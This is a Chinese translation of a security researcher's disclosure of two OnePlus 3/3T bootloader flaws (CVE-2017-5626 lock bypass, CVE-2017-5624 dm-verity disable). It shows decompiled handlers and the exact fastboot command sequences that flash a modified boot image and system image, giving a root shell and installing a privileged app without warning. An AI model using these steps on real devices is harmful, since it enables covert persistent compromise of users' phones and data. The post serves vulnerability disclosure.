2017-02-13 11:54:16
来源：securityresear.ch 作者：胖胖秦
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翻译：胖胖秦
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前言
在这篇博文中，我公开了OnePlus 3/3T引导加载程序中的两个漏洞。第一个CVE-2017-5626是影响OxygenOS 3.2-4.0.1（4.0.2修补）的高危漏洞。该漏洞允许一个物理对手（或使用ADB/ FASTBOOT访问）来绕过bootloader的锁定状态，即使Allow OEM Unlocking被禁用，无需用户确认并不会触发出厂重置。该漏洞允许内核代码执行（尽管启动时有5秒警告）。第二个漏洞CVE-2017-5624影响至今OxygenOS的所有版本，允许攻击者禁用dm-verity。这些漏洞的组合实现了强大的攻击 - 持久化的高权限代码执行，而不向用户发出任何警告，并且能够访问原始用户的数据（在受害者输入其凭据后）。
OnePlus Security披露和承认了这两个漏洞。第一个漏洞CVE-2017-5626于1月23日被披露。它也是由OnePlus工程师独立发现的。CVE-2017-5624于1月16日被披露，在未来的OxygenOS版本中得到修复 -今天的公开它的原因是因为已经有人在1月24日公布它了。
免责声明：我只测试了OnePlus 3，但OnePlus 3T也包含漏洞。
绕过引导加载程序锁（CVE-2017-5626）
OnePlus 3 &3T运行OxygenOS 3.2 - 4.0.1系统,它有两个专用的FASTBOOT oem命令：
1. fastboot oem 4F500301-绕过bootloader的锁-允许使用FASTBOOT访问来解锁设备，无视OEM Unlocking，并无需用户确认，没有用户数据擦除（正确的解锁后通常会发生）。此外，在运行此命令后设备仍然报告处于锁定状态。
2. fastboot oem 4F500302 - 重置各种引导加载程序设置。例如，它将锁定未加锁的引导加载程序，无需用户确认。
分析引导程序二进制表明其处理程序4F500301的命令非常简单：
//'oem4F500301'handler intsub_918427F0() { magicFlag_dword_91989C10=1; if(dword_9198D804!=dword_9198D804) assert(1,dword_9198D804,dword_9198D804); returnsendOK((int)"",dword_9198D804); }因此，它在91989C10设置了某些全局标志（我们命名为magicFlag）。通过观察其处理格式/擦除FASTBOOT命令的过程，我们可以清楚地看到在几项检查之后,magicFlag覆盖设备的锁定状态-刷入或删除分区：
//'flash'handler constchar*__fastcallsub_91847EEC(char*partitionName,int*a2,inta3) { char*pname;//r5@1 ... pname=partitionName; v4=a2; v5=a3; if(returnTRUE1(partitionName,(int)a2)) { result=(constchar*)sub_918428F0(pname,v6); if((result||magicFlag_dword_91989C10) &&((result=(constchar*)sub_91842880(pname,v10))!=0||magicFlag_dword_91989C10)) { result=(constchar*)sub_918428F0(pname,v10); if(!result||magicFlag_dword_91989C10) gotoLABEL_7; v8=dword_9198D804; if(dword_9198D804!=dword_9198D804) gotoLABEL_28; v11="Criticalpartitionflashingisnotallowed"; } else { v8=dword_9198D804; if(dword_9198D804!=dword_9198D804) gotoLABEL_28; v11="Partitionflashingisnotallowed"; } return(constchar*)FAIL2((int)v11,v10); } LABEL_7: ... if(*v4!=0xED26FF3A) { if(*v4==0xCE1AD63C) cmd_flash_meta_img(pname,(unsignedint)v4,v5); else cmd_flash_mmc_img(pname,(int)v4,v5); gotoLABEL_10; } v7=v4; } cmd_flash_mmc_sparse_img(pname,(int)v7,v5); ... } //'erase'handler int__fastcallsub_91847118(char*partitionName,inta2,inta3) { ... v3=partitionName; v4=returnTRUE1(partitionName,a2); if(!v4) { LABEL_7: ... if(v4) { if(dword_9198D804==dword_9198D804) returneraseParition(v3); } ... } v4=sub_918428F0(v3,v5); if(!v4&&!magicFlag_dword_91989C10) { v6=dword_9198D804; if(dword_9198D804==dword_9198D804) { v7="Partitioneraseisnotallowed"; returnFAIL2((int)v7,v5); } gotoLABEL_23; } v4=sub_91842880(v3,v5); if(!v4&&!magicFlag_dword_91989C10) { v6=dword_9198D804; if(dword_9198D804==dword_9198D804) { v7="Partitionflashingisnotallowed"; returnFAIL2((int)v7,v5); } LABEL_23: assert(v4,v5,v6); } v4=sub_918428F0(v3,v5); if(!v4||magicFlag_dword_91989C10) gotoLABEL_7; v6=dword_9198D804; ... v7="Criticalpartitioneraseisnotallowed"; returnFAIL2((int)v7,v5); }利用CVE-2017-5626进行内核代码执行
通过利用此漏洞，攻击者可以刷入恶意引导映像（其中包含两个内核和Root RAMFS）来得到自身的平台。但问题是，引导程序和平台检测这样的修改，这被称为验证启动。引导加载程序验证boot和recovery分区-刷入一个修改的boot分区，例如，会在引导时提示以下警告：
另一个不会触发此警告的选项是刷入旧的未修改的引导映像 - 较旧的映像包含可被攻击者利用的已知安全漏洞。
总之，尽管有警告(5秒后自动消失),OnePlus 3 / 3T仍然允许在红色验证状态启动，因此攻击者的代码得到执行。
有无数的方法来证明这种情况的严重性，所以我选择了最简单的方法。
通过修改引导映像：
1. 我添加androidboot.selinux=permissive到内核命令行来设置SELinux的permissive模式。
2. 我已经修改了ramfsST ro.debuggable=1，ro.secure=0，ro.adb.secure=0，并改变了USB配置属性（sys.usb.config），包括启动adb。
然后，我利用此漏洞，刷入修改后的boot.img（evil_boot.img）：
λfastbootflashbootevil_boot.img targetreportedmaxdownloadsizeof440401920bytes sending'boot'(14836KB)... OKAY[0.335s] writing'boot'... FAILED(remote:Partitionflashingisnotallowed) finished.totaltime:0.358s λfastbootoem4F500301 ... OKAY[0.020s] finished.totaltime:0.021s λfastbootflashbootevil_boot.img targetreportedmaxdownloadsizeof440401920bytes sending'boot'(14836KB)... OKAY[0.342s] writing'boot'... OKAY[0.135s] finished.totaltime:0.480s于是我得到了一个root shell，甚至在用户输入他的凭据之前：
OnePlus3:/#id uid=0(root)gid=0(root)groups=0(root),1004(input),1007(log),1011(adb), 1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt), 3003(inet),3006(net_bw_stats),3009(readproc)context=u:r:su:s0 OnePlus3:/#getenforce PermissiveOnePlus 3 / 3T内核似乎是在启用LKM的情况下编译的，因此运行内核代码甚至不需要修补/重新编译内核。
所以我创建了一个小的内核模块：
#include<linux/module.h> #include<linux/kdb.h> intinit_module(void) { printk(KERN_ALERT"HelloFromKernel\n"); return1; }然后将其加载到内核中：
OnePlus3:/data/local/tmp#insmod./test.ko OnePlus3:/data/local/tmp#dmesg|grepHello [19700121_21:09:58.970409]@3HelloFromKernel禁用dm-verity（CVE-2017-5624）
system分区的验证，不是boot＆recovery，是通过dm-verity驱动的。我们发现可以命令一个已锁定引导程序唤醒该平台,使用另一个FASTBOOT命令禁止dm-verity：fastboot oem disable_dm_verity。
该oem disable_dm_verity处理程序如下：
//'oemdisable_dm_verity'handler intsub_9183B8EC() { intv0;//r0@1 intv1;//r1@1 dmVerity_dword_91960740=0; v0=sub_91845E10("ANDROID-BOOT!"); if(dword_9198D804!=dword_9198D804) assert(v0,v1,dword_9198D804); returnsendOK((int)"",v1); }又一次，91960740设置了一些标志（我们称为dmVerity）。引导加载程序构建内核cmdline时会使用它：
androidboot.enable_dm_verity内核命令行参数传递到ro.boot.enable_dm_verity,然后指示OnePlus的init,是否要禁用dm-verity：
2个漏洞组合利用
这两个漏洞可以组合在一起，用于具有特权的SELinux域代码执行，而不向用户发出任何警告并访问原始用户数据。为了演示这一点（可能有成千上万更好的方法与更高的严重性），我修改了系统分区，添加了一个特权应用程序。可以在/system/priv-app/<APK_DIR>目录下放置APK下,最终将导致它被添加到priv_app域中。
λfastbootflashsystemsystem-modded.simg targetreportedmaxdownloadsizeof440401920bytes erasing'system'... FAILED(remote:Partitioneraseisnotallowed) finished.totaltime:0.014s λfastbootoem4F500301 OKAY [0.020s]finished.totaltime:0.021s λfastbootflashsystemsystem-modded.simg targetreportedmaxdownloadsizeof440401920byteserasing'system'... OKAY[0.010s] ... sendingsparse'system'7/7(268486KB)... OKAY[6.748s] writing'system'7/7... OKAY[3.291s] finished.totaltime:122.675s λfastbootoemdisable_dm_verity ... OKAY [0.034s]finished.totaltime:0.036s事实上，加载priv_app的应用程序上下文如下：
1|OnePlus3:/$getprop|grepdm_verity [ro.boot.enable_dm_verity]:[0] OnePlus3:/$ps-Z|greproeeh u:r:priv_app:s0:c512,c768u0_a1647642200171600474600SyS_epoll_0000000000Sroeeh.fooapp演示视频
以下视频显示结果 - 平台已加载并没有警告，并安装了特权应用程序。
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